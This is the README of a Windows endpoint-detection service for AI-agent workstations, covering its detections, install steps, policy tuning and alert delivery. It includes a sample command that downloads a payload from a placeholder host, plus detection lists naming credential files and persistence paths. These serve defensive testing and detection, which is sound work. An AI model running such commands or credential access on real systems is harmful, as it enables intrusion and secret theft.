WilliamSmithEdward/ArcaneEDR

GitHub: WilliamSmithEdward/ArcaneEDR

一款面向无人值守 Agent 工作站和沙箱主机的轻量级 Windows 安全服务,通过进程与网络监控提供主机级威胁检测和告警。

Stars: 0 | Forks: 0

# Arcane EDR

Arcane EDR logo

Arcane EDR is a lightweight Windows service for making unattended agent workstations safer while still allowing fast, bleeding-edge work. It is built for sandbox hosts, AI-agent boxes, and small environments where autonomous tools need broad local capability, but the owner still wants guardrails against supply-chain compromise, RAT-like activity, persistence, suspicious egress, and credential or remote-access abuse. It watches TCP/UDP activity, enriches events with local process and host context, scores suspicious behavior, writes local evidence, and can send qualified alerts through modular notification paths. The goal is practical host-level safety without needing to set up or pay for a full enterprise EDR, SIEM, MDM, or SOC deployment. The service/CLI core intentionally uses .NET Framework and built-in Windows components. The operator GUI is a self-contained .NET 10 / WinUI 3 application with its runtime payload included in release builds. See [docs/project-mission.md](docs/project-mission.md) for the project mission. See [docs/release-deployment-policy.md](docs/release-deployment-policy.md) for the source-vs-live deployment policy. See [docs/gui-and-msi-install.md](docs/gui-and-msi-install.md) for the WinUI GUI and MSI install path. If you are using an LLM or coding agent to operate the repo, see [AGENTS.md](AGENTS.md) for agent-specific workflow and tuning instructions. ## What It Detects - New listening TCP/UDP ports. - New external outbound TCP connections. - External inbound TCP connections. - Connections to commonly abused remote ports. - Connection bursts by process. - Low-jitter repeated outbound connections that resemble beaconing. - Process path, command line, parent process, user, signer, and SHA256 context. - Sysmon process, network, DNS, and narrow high-risk file-create events when Sysmon is installed. - PowerShell operational log events, including script block, module, and lifecycle records. - Windows Security/System events for failed logons, RDP/network logons, privileged logons, service installs, scheduled task changes, and process-creation audit events when enabled. - Registry Run keys, Startup folders, automatic services, and scheduled-task inventory. - Executable/script drops into persistence-adjacent locations, suspicious sensitive-file writes, and high-risk file drop-then-execute patterns. - LOLBin and script-runtime external network activity. - Encoded or base64-obfuscated PowerShell/CLI commands. - Suspicious parent/child process chains. - Unsigned executables launched from user-writable paths. - First-seen executable and persistence reputation cache. - Local JSON custom rules in `config\custom-rules.json`. - Known RMM/RAT process names. - Blocked domains, hashes, IPs, and CIDRs. - High-entropy DNS and dynamic DNS providers. - Optional DNS-over-HTTPS resolver detection. - Optional DNS resolver enforcement. - Untrusted process connections to internal lateral-movement ports. Arcane EDR is not a packet sniffer or a full EDR platform. It is a focused Windows safety layer intended for unattended agent workstations, sandbox hosts, and small environments where local visibility and simple alerting are useful. See [ROADMAP.md](ROADMAP.md) for the beta-to-`v1.0.0` roadmap. See [docs/rule-family-reference.md](docs/rule-family-reference.md) for a practical guide to current rule families, telemetry requirements, tuning knobs, false positives, and safe tests. ## Requirements - Windows with .NET Framework compiler available at `%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe` or the 32-bit Framework path. - PowerShell. - Administrator rights for service install, service removal, Sysmon install, and some event-log validation checks. - Optional: Sysmon for richer process, network, DNS, and narrow file-create telemetry. - Optional: Brevo transactional email for external alert delivery. - Optional: AI provider API key for compact secondary log analysis. ## Quick Start For a release-MSI install with every step spelled out, start with [docs/step-by-step-install.md](docs/step-by-step-install.md). Clone the repo and create local config files from the tracked templates: git clone https://github.com/WilliamSmithEdward/ArcaneEDR.git cd ArcaneEDR Copy-Item .\config\ArcaneEDR.example.config .\config\ArcaneEDR.config Copy-Item .\config\Deployment.example.config .\config\Deployment.config Build the executable: .\scripts\build.ps1 Run in console mode: .\bin\ArcaneEDR.exe --console Validate configuration and host prerequisites: .\bin\ArcaneEDR.exe --validate-config Validate a specific config file while tuning a clone or staged deployment: .\bin\ArcaneEDR.exe --validate-config .\config\ArcaneEDR.config Print the executable version: .\bin\ArcaneEDR.exe --version ## Configuration Tracked template files are safe defaults for GitHub: - `config\ArcaneEDR.example.config`: runtime identity, log directory, alert settings, event log names, thresholds, schedules, and detection tuning. - `config\Deployment.example.config`: publish destination, application folder, executable name, Sysmon executable name, and Sysmon config filename. Local files are intentionally ignored by Git: - `config\ArcaneEDR.config` - `config\Deployment.config` - `config\arcane-policy.json` Keep machine-specific values, recipient addresses, local paths, and environment variable names in the ignored local files. The example runtime config disables external alerting and AI analysis by default. `config\arcane-policy.json` is the unified allowlist, blocklist, response, remote endpoint, and alert-tuning policy file. Inspect loaded policy scopes and counts with: .\bin\ArcaneEDR.exe --policy-inspect .\bin\ArcaneEDR.exe --policy-inspect --json ## Project Layout - `src\Collection`: captures netstat, Sysmon, PowerShell, Windows Event Log, and persistence telemetry. - `src\Enrichment`: adds process path, command line, parent, hash, signer, and user context. - `src\Detection`: applies traffic, host, process, DNS, reputation, custom, baseline, and RAT-oriented rules. - `src\Alerting`: handles alert cooldowns and provider-specific delivery sinks. - `src\Policy`: unified policy models and scoped policy evaluation. - `src\Presentation`: shared alert presentation models for email, reports, CLI, and future GUI surfaces. - `src\ArcaneEDR.Gui`: self-contained .NET 10 / WinUI 3 operator console with a persistent tray icon for health, alerts, policy, reports, configuration, maintenance, and support workflows. - `src\Response`: optional firewall block and process termination actions. - `src\Runtime`: service polling, health, and integrity checks. - `src\Configuration`: loads allowlists, thresholds, alert settings, and rule options. - `src\Logging`: writes text logs and JSONL alert records with rotation. - `src\Models`: shared alert, process, DNS, and network endpoint models. - `src\Utils`: CIDR, IP, domain, filesystem, and port-range helpers. - `src\Validation`: offline configuration and environment checks. - `scripts`: build, publish, service install, service removal, and Sysmon install helpers. ## Build And Publish Source work is separate from live deployment. Ordinary source and documentation changes should be built and validated from the source folder, but not published to the live application folder unless a tagged release is being deployed or the operator explicitly asks for a live update. See [docs/release-deployment-policy.md](docs/release-deployment-policy.md). Build: .\scripts\build.ps1 Run the lightweight fixture suite used to guard core CLI seams: .\scripts\test-fixtures.cmd Build and publish the WinUI operator console: .\scripts\build-gui.cmd Build the WiX MSI installer: .\scripts\build-msi.cmd For operator installs and upgrades, prefer the MSI so the service, GUI, Start menu shortcut, installer state, and uninstall path stay aligned. For an older script-installed local service, migrate to MSI ownership from an elevated PowerShell session: .\scripts\build-msi.cmd .\scripts\install-msi-local.cmd -ReplaceExistingService The install helper installs product files under `C:\Program Files\Arcane EDR`, uses `%ProgramData%\Arcane EDR` for first-install mutable logs/state, removes an existing service registration only when `-ReplaceExistingService` is supplied, writes installed first-run runtime/deployment config when missing, and then verifies the installed executable version, service path, config, and service status. After validation confirms the service points at `C:\Program Files\Arcane EDR\bin\ArcaneEDR.exe`, any old `C:\Applications\ArcaneEDR` folder may be deleted. For source development or break-glass repair, publish to the destination configured in local `config\Deployment.config`, or the example deployment config when no local config exists: .\scripts\publish.ps1 The script-published folder contains the executable, config files, docs, Sysmon config, and install scripts. If a published `config\ArcaneEDR.config` already exists, publish preserves it and writes the source config as `config\ArcaneEDR.example.config`. Use `-OverwriteConfig` only when replacing a live runtime config is intentional. Existing published `config\Deployment.config` is also preserved by default. Use `-OverwriteDeploymentConfig` only when replacing the live deployment config is intentional. Create a release ZIP from tracked templates, scripts, docs, and build output: .\scripts\package-release.ps1 The release ZIP is written under `artifacts` with a SHA256 checksum file. Local machine configs, runtime logs, and Sysmon binaries are not included. The ZIP includes the WinUI GUI payload under `gui`. The MSI is written under `artifacts` as `ArcaneEDR-.msi` with a SHA256 checksum. It installs the Windows service, WinUI GUI, Start menu shortcut, scripts, docs, assets, and config examples. Existing local configuration and JSONL evidence are preserved by default; the GUI Configuration page provides a guarded reset-to-defaults flow with an explicit warning checkbox and backup-before-reset behavior. The standard MSI-owned product folder is `C:\Program Files\Arcane EDR`. The standard first-install machine data folder is `%ProgramData%\Arcane EDR`. ## Install As A Windows Service MSI is the preferred operator path for installing and upgrading the service. Use the direct service scripts only for source development, diagnostics, or break-glass repair. For a script-based development install, run PowerShell as Administrator from the published application folder: .\scripts\install-service.ps1 The service is installed using `ServiceName`, `ServiceDisplayName`, and `ServiceDescription` from `config\ArcaneEDR.config`. Uninstall: .\scripts\uninstall-service.ps1 The installer configures Windows Service Control Manager recovery actions: - restart after 60 seconds on first failure - restart after 60 seconds on second failure - restart after 5 minutes on subsequent failure - reset the failure counter after 24 hours ## Optional Constrained Admin Tasks If you do not want to run the Codex desktop app as Administrator, you can create on-demand scheduled tasks for specific elevated maintenance operations. This is more constrained than giving a tool a general admin shell. This is the preferred elevation strategy for source-driven Arcane EDR maintenance from Codex. Once a machine is MSI-owned, prefer MSI repair/upgrade for normal operator changes and keep admin tasks for diagnostics or break-glass repair. See `docs\elevation-strategy.md` for the operating model. Run once from an elevated PowerShell session in the source repo: cd .\scripts\install-admin-tasks.cmd For an MSI-owned machine where maintenance should not depend on a source checkout, register installed-only tasks from an elevated PowerShell session: cd "C:\Program Files\Arcane EDR" .\scripts\repair-msi-local-config.cmd -RegisterAdminTasks This registers these on-demand tasks under `\ArcaneEDR\`: - `PublishRestart`: for source-driven tasks, stop service, build from source, publish while preserving live config, then restart; for installed-only tasks, restart using the installed payload. - `InstallService`: publish, install the Windows service, configure service recovery, then start it. - `UninstallService`: stop and remove the Windows service. - `InstallSysmon`: install or update Sysmon from the published `tools` folder. - `ValidateAdmin`: run `ArcaneEDR.exe --validate-config` elevated. After setup, a normal shell can trigger an approved task: .\scripts\run-admin-task.cmd -TaskName PublishRestart .\scripts\run-admin-task.cmd -TaskName ValidateAdmin The `.cmd` wrappers use `powershell.exe -ExecutionPolicy Bypass -File` so the workflow still works on machines where local `.ps1` execution is restricted. Task output is written to: %ProgramData%\ArcaneEDR\AdminTasks\.log Remove the tasks from an elevated PowerShell session: .\scripts\uninstall-admin-tasks.cmd ## Optional Sysmon Arcane EDR can read Sysmon when Sysmon is already installed on the machine. If the `SysmonServiceName` from `config\ArcaneEDR.config` is running, no Sysmon binary is needed in the Arcane EDR folder. The `tools` folder is only for installing or updating Sysmon from the published app folder. Sysmon is not bundled. To use that workflow, download Sysmon from Microsoft Sysinternals, place the executable named by `SysmonExecutableName` in `tools`, then run: .\scripts\install-sysmon.cmd The included `config\arcaneedr-sysmon.xml` enables process creation, network connection, DNS query, SHA256 hash telemetry, and narrow FileCreate coverage for Startup folders, scheduled-task storage, browser extension paths, and sensitive-looking filenames. If Sysmon is not installed, Arcane EDR falls back to netstat-based collection and logs a warning once. ## Test Commands Test alert delivery: .\bin\ArcaneEDR.exe --test-alert .\bin\ArcaneEDR.exe --test-alert --count 2 Test service-health notification delivery: .\bin\ArcaneEDR.exe --test-health Force compact AI log analysis: .\bin\ArcaneEDR.exe --test-ai-analysis Generate and send a daily report on demand: .\bin\ArcaneEDR.exe --test-daily-report Preview a daily report without sending an external notification or making an AI API call: .\bin\ArcaneEDR.exe --preview-daily-report .\bin\ArcaneEDR.exe --preview-daily-report --json .\bin\ArcaneEDR.exe --preview-daily-report --archive Use `--validate-config ` to check a staged report configuration without copying it into the runtime `config` directory first. Preview the exact redacted payload that would be sent to the AI provider without making an API call: .\bin\ArcaneEDR.exe --preview-ai-payload Generate a privacy-first local support bundle: .\bin\ArcaneEDR.exe --support-bundle The bundle is written under `LogDirectory` and includes version, redacted config, service health state, collector/sink/runtime checks, recent alert summaries, recent warning/error lines, recent incident summaries, and active external sink/AI provider metadata. It does not copy raw alert bodies, entities, command lines, script blocks, AI payloads, or secret values. Preview structured detection policy effects against recent alerts: .\bin\ArcaneEDR.exe --policy-preview --last 24h --limit 20 Run one monitor poll and exit without starting the Windows service or writing service lifecycle health state: .\bin\ArcaneEDR.exe --poll-once List safe detection simulations: .\scripts\simulate-detection.cmd -Scenario List Run one representative simulation: .\scripts\simulate-detection.cmd -Scenario EncodedPowerShell .\scripts\simulate-detection.cmd -Scenario UnexpectedListener -DurationSeconds 120 .\scripts\simulate-detection.cmd -Scenario ScheduledTaskPersistence .\scripts\simulate-detection.cmd -Scenario StartupFileDrop Run a compact demo path that cleans prior simulation artifacts, generates harmless suspicious process telemetry, opens a localhost listener long enough for the service or a second-shell poll, and prints the review commands: .\scripts\simulate-detection.cmd -Scenario Demo -DurationSeconds 120 Clean up the scheduled-task simulation artifact: .\scripts\simulate-detection.cmd -Scenario Cleanup These simulations are harmless, but they can generate real local alerts and external notifications when the service is running. The unexpected-listener simulation binds to localhost and should produce the lower-severity `NET-LISTEN-TCP-LOCALHOST-UNEXPECTED` shape in current builds. ## Alerting All alerts are always written locally under `LogDirectory`: \ArcaneEDR.log \ArcaneAlerts.jsonl Every alert carries structured `why` metadata that explains the rule-family conditions that caused it to fire. Alert records include UTC time plus the machine's system-local time, Windows time zone, and UTC offset. Email, SMTP, Windows Event Log, local text logs, local JSONL, webhook, and generic HTTP/API sinks all receive the same explained, time-zone-aware alert object. System-local time is derived from the Windows time zone configured on the host. This avoids hard-coding a project timezone while keeping alerts and reports readable for the operator. Alerts also carry a rule `category`, derived from the rule ID. Current categories include `Network`, `DNS`, `PowerShell`, `Persistence`, `Auth`, `File`, `Process`, `Agent`, `Response`, `RAT`, `AI`, `Health`, `Integrity`, `Baseline`, `Reputation`, `Custom`, `Test`, and `General`. Arcane persists Windows, PowerShell, and Sysmon event-log watermarks under `LogDirectory` by default: PersistEventLogWatermarks=true EventLogWatermarkFile=ArcaneEventLogWatermarks.tsv Collector toggles are independent, and bounded collector, analysis-stage, or per-alert dispatch failures are logged without stopping the rest of the poll: EnableNetstatCollector=true EnableSysmonIngestion=true EnablePowerShellLogIngestion=true EnableWindowsEventIngestion=true EnablePersistenceInventory=true This prevents service restarts, publish cycles, and recovery restarts from reprocessing the same recent event records into new local alerts and daily report counts. If an event log appears to have reset or been cleared, Arcane allows newer low-record-ID events through instead of permanently trusting the older watermark. Rule policy tuning is controlled by config: DisabledRuleIds= DisabledRuleCategories= RuleMinimumEmailScores=NET-DIRECT-IP-WEB-EGRESS=90,NET-EGRESS-UNUSUAL-PORT=90,NET-EGRESS-NEW-UNTRUSTED=80,NET-BEACON-TIMING-LOW-RISK=90,PS-SUSPICIOUS-COMMAND=90,BASELINE-NEW-PROCESS-DOMAIN=95,BASELINE-NEW-PROCESS-DESTINATION=95 CategoryMinimumEmailScores= `DisabledRuleIds` and `DisabledRuleCategories` suppress matching alerts before local alert logging, incident grouping, response handling, and external delivery. `RuleMinimumEmailScores` and `CategoryMinimumEmailScores` affect external delivery only; local logging and incident grouping still use the normal alert path. The example `RuleMinimumEmailScores` profile keeps weak standalone discovery signals mostly local by default; use `--alert-volume --last 24h` and its baseline-off projection drivers to tune these thresholds for the actual host. Unified policy is the preferred tuning surface for allow/block/trust decisions and machine-specific alert handling: EnableDetectionPolicy=true PolicyFile=arcane-policy.example.json `config\arcane-policy.example.json` contains one JSON surface for network allowlists, domain/hash blocklists, trusted process and persistence context, response allow/block policy, ordered remote endpoint policy, and structured local alert tuning. Host-specific tuning should copy it to an ignored local policy file and point `PolicyFile` there. Detection policy entries in `detection_policies` match fields such as `rule_id`, `category`, `process_name`, `parent_process`, `signer`, `path_prefix`, `command_terms`, `user`, `destination_domain`, `ip_cidr`, `port`, `hash`, and `text_contains`. Supported actions are `trusted_context`, `lower_score`, `suppress_external`, `raise_score`, `force_alert`, and `tag_only`. `suppress_external` keeps the local alert log, incident grouping, daily report context, and support-bundle summaries intact; it only prevents external delivery for matching alerts. `lower_score` and `raise_score` adjust the local score before logging, so the score change remains auditable in the alert body and `why` metadata. Preview policy effects against recent local alerts before relying on a rule: .\bin\ArcaneEDR.exe --policy-preview --last 24h --limit 20 Preview against a proposed sample alert before matching telemetry exists: .\bin\ArcaneEDR.exe --policy-preview --sample-rule NET-BEACON-TIMING-LOW-RISK --sample-process codex.exe --sample-score 55 .\bin\ArcaneEDR.exe --policy-preview --sample-rule NET-EGRESS-PORT-MISUSE --sample-process ssh.exe --sample-ip 192.168.1.50 --sample-port 22 --sample-user operator .\bin\ArcaneEDR.exe --policy-preview --sample-rule PS-SUSPICIOUS-COMMAND --sample-process powershell.exe --sample-parent cmd.exe --sample-command "powershell Invoke-WebRequest http://example.invalid/payload" You can also preview against an alert JSON file: .\bin\ArcaneEDR.exe --policy-preview --sample-alert .\sample-alert.json Sample context options include `--sample-process`, `--sample-parent`, `--sample-user`, `--sample-destination-domain`, `--sample-ip`, `--sample-port`, `--sample-path`, `--sample-signer`, `--sample-hash`, and `--sample-command`. Network port allowlists are in `allowlists.allowed_listening_ports`, `allowlists.allowed_outbound_ports`, and `allowlists.process_allowed_outbound_ports` inside `PolicyFile`. Remote country allowlisting is in `allowlists.allowed_remote_countries`. Remote endpoint enrichment adds DNS-derived names and remote owner/ASN/country context to network alerts. Country is best-effort registry/geolocation data, not proof of physical origin. RDAP is enabled by default because the ordered endpoint policy uses owner, ASN, and country context to adjust review priority; this discloses investigated remote IPs to the configured RDAP lookup service. Optional `ip-api.com` and `ipwhois.io`/`ipwho.is` hooks can fill geolocation country, owner, or ASN context when local country blocks and RDAP are incomplete. They are disabled in tracked config. Their free endpoints are for non-commercial use only; commercial use requires the provider's paid/commercial plan. EnableRemoteEndpointEnrichment=true EnableRemoteEndpointCountryBlockEnrichment=false RemoteEndpointCountryBlocksDirectory=country-ip-blocks EnableRemoteEndpointIpApiGeolocation=false RemoteEndpointIpApiUrlTemplate=http://ip-api.com/json/{ip}?fields=status,message,countryCode,org,isp,as,asname,query EnableRemoteEndpointIpWhoisGeolocation=false RemoteEndpointIpWhoisUrlTemplate=https://ipwho.is/{ip}?fields=success,message,country_code,org,isp,asn,ip RemoteEndpointGeoProviderMaxLookupsPerPoll=3 EnableRemoteEndpointReverseDns=false EnableRemoteEndpointRdapEnrichment=true RemoteEndpointRdapUrlTemplate=https://rdap.org/ip/{ip} RemoteEndpointEnrichmentTimeoutSeconds=3 RemoteEndpointEnrichmentCacheMinutes=1440 RemoteEndpointRdapMaxLookupsPerPoll=3 EnableRemoteEndpointPolicy=true Remote allow, trust, block, and critical country/owner/domain/CIDR decisions belong in `remote_endpoint_policies` inside `PolicyFile`. First enabled match wins. Keep two remote heuristics separate: `allowed_remote_countries` prevents country-only escalation, while `action: "trust"` with a known `remote_identity` is the deterministic score-dampening path for trusted providers. The tracked default trusts Arcane EDR service self-traffic, trusts known major provider identity such as Microsoft, Cloudflare, Amazon, GitHub, Anthropic, or Vercel only inside the allowed-country set, treats fully unresolved country/domain context after enabled local or provider geolocation enrichment as critical, observes ordinary country-unavailable outcomes as a score enhancer, and treats countries outside `allowlists.allowed_remote_countries` as critical when no earlier trust rule matched. Default allowed countries are `US`, `CA`, `GB`, `IE`, `DE`, `NL`, `FR`, `SE`, `CH`, `AU`, `NZ`, `JP`, and `SG`. Country unavailable also becomes critical when paired with first-seen app/IP context or another stronger suspicious endpoint signal. `RemoteEndpointCountryBlocksDirectory` can point at an extracted `ipverse/country-ip-blocks` tree, for example a directory containing `country\us\ipv4-aggregated.txt` and `country\us\ipv6-aggregated.txt`. Arcane reads those files locally; it does not download country data at runtime. `RemoteEndpointGeoProviderMaxLookupsPerPoll` caps combined `ip-api` and `ipwhois` requests per poll so free/non-commercial endpoints are not hammered. Arcane tries local country blocks first. If the resolved country is in `allowlists.allowed_remote_countries`, country alone does not escalate the alert. If no DNS/domain/company identity is available, Arcane can still use enabled RDAP, `ip-api`, or `ipwhois` lookups within configured caps so a known provider `trust` rule can match. Otherwise it tries RDAP for registry owner/ASN context, then these optional providers only when country or useful owner/ASN context is still missing. { "id": "example-trust-expected-agent-cloudflare", "enabled": false, "action": "trust", "reason": "Expected agent backend traffic.", "match": { "process_name": "codex.exe", "country": "US", "remote_identity": "Cloudflare", "port": 443 } } Policy text fields use case-insensitive contains matching by default. Prefix an entry with `regex:` or `re:`, or wrap it as `/pattern/`, for regex matching. Use JSON arrays for multiple values; strings are treated as one entry. Supported actions are `critical`, `block`, `trust`, `allow`, and `observe`. `critical` and `block` create high-score policy alerts. `trust` lowers only clean timing-only or direct-IP network noise from expected processes. `allow` skips generic external-remote analysis for the matching endpoint, so keep allow rules narrow and place more specific block/critical rules above broad allow rules. See [docs/remote-endpoint-policy.md](docs/remote-endpoint-policy.md) for the full match field list and examples. Maintenance context tuning labels expected admin/build/publish activity without making it disappear: EnableMaintenanceContext=true MaintenanceContextExternalAlertMinimumScore=95 MaintenanceContextTermGroups=icacls|/inheritance:r,powershell|-executionpolicy bypass|publish.ps1,ArcaneEDR.exe|--validate-config EnableMaintenanceSessionMarkers=true MaintenanceSessionMarkerFile=ArcaneMaintenanceSessions.jsonl MaintenanceSessionDefaultMinutes=60 MaintenanceSessionMaximumMinutes=240 Each comma-separated group uses `|` for terms that must all appear in the alert text. Matching alerts get `maintenance_context=true`, retain their local log and incident records, and only suppress external delivery when the score is below `MaintenanceContextExternalAlertMinimumScore`. For expected work that does not fit a durable term group, start a bounded local maintenance marker: .\bin\ArcaneEDR.exe --maintenance start --duration 1h --reason publish .\bin\ArcaneEDR.exe --maintenance list .\bin\ArcaneEDR.exe --maintenance clear --reason done Active markers label alerts with maintenance context for their configured window. They do not suppress local evidence, change scores, or perform response actions. Low-value repeat dampening reduces external notification volume for the same stable behavior while preserving local evidence: EnableExternalAlertGrouping=true ExternalAlertGroupingMinimumCount=2 ExternalAlertGroupingMaximumScore=89 ExternalAlertGroupingMaxItems=8 ExternalAlertGroupingCategories=Network,DNS,Baseline,Reputation,Process EnableLowValueRepeatDampening=true LowValueRepeatDampeningMaximumScore=60 LowValueRepeatDampeningWindowMinutes=60 LowValueRepeatDampeningMaxExternalAlertsPerWindow=1 LowValueRepeatDampeningCategories=Network,DNS,Baseline,Reputation,Process When grouping is enabled, Arcane first records each alert locally, then combines same-dispatch external notification candidates with the same rule/category and source root into one external summary. The summary includes grouped counts and representative rules, titles, processes, destinations, countries, and companies. Alerts above `ExternalAlertGroupingMaximumScore`, forced-policy alerts, service lifecycle notifications, daily reports, and distinct source roots still break through independently. Repeat dampening is the follow-on guardrail for matching low-score alerts that reappear later in the configured window. With the default value of `LowValueRepeatDampeningMaxExternalAlertsPerWindow=1`, Arcane allows one external notification for the repeat key, then suppresses additional external delivery until the window expires. Local alert logs, incident grouping, response handling, and high-score alerts are not affected. Leave `LowValueRepeatDampeningCategories` populated; an explicitly blank category list disables repeat dampening matches. Authentication special-privilege tuning keeps Windows `4672` events correlation-first: AuthSpecialPrivilegeRepeatDampeningMinutes=60 AuthSpecialPrivilegeRemoteCorrelationMinutes=15 Standalone `4672` events are low-severity local context and repeat-dampened per principal. If special privileges occur near recent remote logon activity for the same account, Arcane raises stronger `AUTH-REMOTE-SPECIAL-PRIVILEGES` context. Remote-style logons with an unspecified source such as `0.0.0.0` are recorded as low-risk session context rather than ordinary remote source evidence. Persistence trust handling reduces noise from expected Windows/vendor service and scheduled-task activity without trusting names by themselves. A service or task change is classified as trusted-location only when configured trusted name indicators match a trusted path or trusted signer, and suspicious command, untrusted user-writable path, and RMM/RAT-like traits are absent. For scheduled-task create/update events, Arcane also inspects task action XML when Windows provides it. Trusted persistence name, path, and signer context lives in `allowlists.trusted_persistence_*` inside `PolicyFile`. High-signal file-create detection is Sysmon-backed and intentionally narrow: EnableHighSignalFileDetection=true HighRiskFilePathIndicators=\appdata\roaming\microsoft\windows\start menu\programs\startup\,\programdata\microsoft\windows\start menu\programs\startup\,\windows\system32\tasks\,\appdata\local\google\chrome\user data\default\extensions\,\appdata\local\microsoft\edge\user data\default\extensions\ HighRiskFileExtensions=.exe,.dll,.scr,.com,.msi,.msp,.ps1,.psm1,.vbs,.vbe,.js,.jse,.hta,.bat,.cmd,.lnk,.url,.jar SensitiveFileNameIndicators=apikey,api_key,access_token,refresh_token,client_secret,private_key,id_rsa,id_ed25519,.pem,.pfx,.env,credentials,token.json These rules do not audit every file write. They depend on Sysmon FileCreate events for high-risk targets, then alert on executable/script drops, suspicious writers, agent writes outside approved roots, sensitive-looking filenames, or recent high-risk drops followed by execution. Arcane can also group alert records into local investigation incidents. This is local-only JSONL state, intended to make recent related alerts easier to scan: EnableIncidentGrouping=true IncidentStoreFile=ArcaneIncidents.jsonl IncidentWindowMinutes=30 IncidentMinimumScore=60 List recent incident summaries: .\bin\ArcaneEDR.exe --incidents --last 24h Show the alert timeline for one incident: .\bin\ArcaneEDR.exe --timeline INC-... Summarize recent local alert volume for tuning: .\bin\ArcaneEDR.exe --alert-volume --last 24h Summarize the compact agent activity ledger: .\bin\ArcaneEDR.exe --agent-activity --last 24h The summary groups local alert records by severity, category, rule, and process, and estimates which records would qualify for external delivery before provider, rate-limit, retry, or repeat-dampening behavior. It also prints `BaselineOffExternalQualifiedBeforeRateLimits` and `baseline_off_external` bucket counts, plus baseline-off projection drivers by rule and process, so operators can estimate whether turning off `BaselineLearningMode` would create a notification flood before changing live config. When records would qualify for current or baseline-off external delivery, the command also prints compact candidate examples with time, score, rule, process, maintenance context, and title only. It intentionally avoids raw entities, paths, command lines, IPs, users, and alert bodies. Service health, daily report, and AI control notifications are counted as current external candidates when they are present because those records use the direct notification path rather than the normal detection threshold path. Run `--poll-once` first when you want a fresh one-poll sample without leaving the monitor running. If the published app uses a protected `LogDirectory` such as `C:\Security`, run `--poll-once` elevated or collect the sample from a source build with a user-writable log directory. External delivery is controlled by config: ExternalAlertProvider=Brevo RequireExternalAlerting=true MinimumEmailScore=60 ExternalAlertProviderMinimumScores= ExternalAlertProviderMaxPerHour= ExternalAlertMaxPerDispatch=3 ExternalAlertMaxPerHour=24 EnableExternalAlertGrouping=true ExternalAlertGroupingMinimumCount=2 ExternalAlertGroupingMaximumScore=89 ExternalAlertGroupingMaxItems=8 ExternalAlertGroupingCategories=Network,DNS,Baseline,Reputation,Process BrevoApiKeyEnvironmentVariable= BrevoSenderEmail= BrevoRecipientEmail= `ExternalAlertProvider` can be a single provider or a comma-separated list. Supported providers in the current source tree: - `Disabled` - `Brevo` - `Smtp` - `Webhook` - `GenericHttpApi` - `LocalJsonl` - `WindowsEventLog` Example fan-out to Brevo, a local external-alert JSONL file, and Windows Event Log: ExternalAlertProvider=Brevo,LocalJsonl,WindowsEventLog ExternalAlertProviderMinimumScores=Brevo=90,LocalJsonl=60,WindowsEventLog=75 ExternalAlertProviderMaxPerHour=Brevo=6,WindowsEventLog=12 LocalJsonlAlertSinkFile=ArcaneExternalAlerts.jsonl WindowsEventLogAlertSource=ArcaneEDR WindowsEventLogAlertLogName=Application WindowsEventLogAlertEventId=9100 `ExternalAlertProviderMinimumScores` adds provider-specific routing floors after the global, rule, and category external thresholds. This is useful when one sink should receive broader telemetry, while email or webhook destinations receive only higher-confidence alerts. A skipped provider does not remove the local alert log, incident grouping, or daily report context. `ExternalAlertProviderMaxPerHour` adds optional per-provider hourly caps after global rate limits. Use it to keep a noisy provider quiet while still allowing another configured sink to receive eligible alerts. Daily summary reports are not counted against provider hourly caps. Service lifecycle notifications are also exempt so crash recovery and restart notices are not hidden by alert bursts. `ExternalAlertMaxPerHour` is the shared runtime cap for normal detection alerts, AI notifications, and retry deliveries. Daily summary reports and service lifecycle notifications bypass this cap so scheduled reports and restart/recovery notices do not compete with alert bursts. `EnableExternalAlertGrouping` runs before per-dispatch and hourly external delivery limits. A burst of matching same-root alerts therefore counts as one planned external notification while every original alert remains in local logs, incidents, daily reports, and response evaluation. SMTP: ExternalAlertProvider=Smtp SmtpHost=smtp.example.com SmtpPort=587 SmtpEnableSsl=true SmtpUsername=alerts@example.com SmtpPasswordEnvironmentVariable=SMTP_PASSWORD SmtpSenderEmail=alerts@example.com SmtpRecipientEmail=security@example.com Webhook or generic HTTP/API JSON POST: ExternalAlertProvider=Webhook WebhookAlertUrl=https://example.com/arcane-alert WebhookSecretEnvironmentVariable=WEBHOOK_TOKEN WebhookSecretHeaderName=Authorization WebhookSecretPrefix=Bearer ExternalAlertProvider=GenericHttpApi GenericHttpApiAlertUrl=https://example.com/api/security-alerts GenericHttpApiSecretEnvironmentVariable=API_TOKEN GenericHttpApiSecretHeaderName=Authorization GenericHttpApiSecretPrefix=Bearer The Brevo API key is read from Process, User, then Machine environment scope. `ExternalAlertSuppressionTermGroups` is a stronger external-only suppression escape hatch, not the preferred way to classify routine maintenance. It suppresses external delivery only; local logging and incident grouping remain. ## Health Notifications Arcane EDR maintains local health state in: \ArcaneServiceHealth.state It can send external notifications when: - the service starts - the service starts after a previous run did not record a clean stop - the daily summary interval elapses Relevant config: NotifyOnServiceStart=true NotifyOnServiceStop=false NotifyOnCrashRecovery=true EnableDailySummary=true DailySummaryIntervalHours=24 DailySummaryLocalTime=08:00 DailySummaryTimeZoneId= DailySummaryScore=60 EnableDailySummaryAIAnalysis=true DailyReportDestinations=ExternalAlertSinks,LocalArchive HealthHeartbeatSeconds=60 The daily report uses a report-specific email layout, not the generic alert template. It starts with a compact metadata header containing the high-level determination, compromise assessment, confidence, analyzed system-time window, generated system time, basis, and recommended next step, then uses compact tables for critical callouts, health, signal summary, false-positive context, high-signal details, automation activity, tuning notes, and optional AI daily analysis. Critical and high-signal tables include process/source context when the source telemetry provides it. The top-level determination, compromise assessment, recommended next step, and critical callouts are deterministic local-telemetry sections; optional AI daily analysis is kept inside the labeled AI review section as a secondary opinion. The AI daily prompt is tuned for customer-facing 24-hour review and explicitly treats alert volume, baseline learning, maintenance context, automation context, and telemetry gaps as false-positive context rather than proof of compromise. Daily report structure and local archive output are configurable: DailyReportDestinations=ExternalAlertSinks,LocalArchive DailyReportSections=QuickVerdict,CriticalCallouts,AtAGlance,SignalSummary,FalsePositiveContext,HighSignalDetails,AutomationActivity,AIReview,TuningNotes DailyReportCriticalCalloutRows=5 DailyReportHighSignalRows=7 DailyReportBucketRows=6 DailyReportAgentBucketRows=3 EnableDailyReportArchive=true DailyReportArchiveDirectory=reports DailyReportArchiveFormats=Markdown,Json DailyReportWebhookUrl= DailyReportWebhookSecretEnvironmentVariable= DailyReportWebhookSecretHeaderName=Authorization DailyReportWebhookSecretPrefix=Bearer DailyReportWebhookTimeoutSeconds=15 `DailyReportDestinations` separates daily reporting from normal 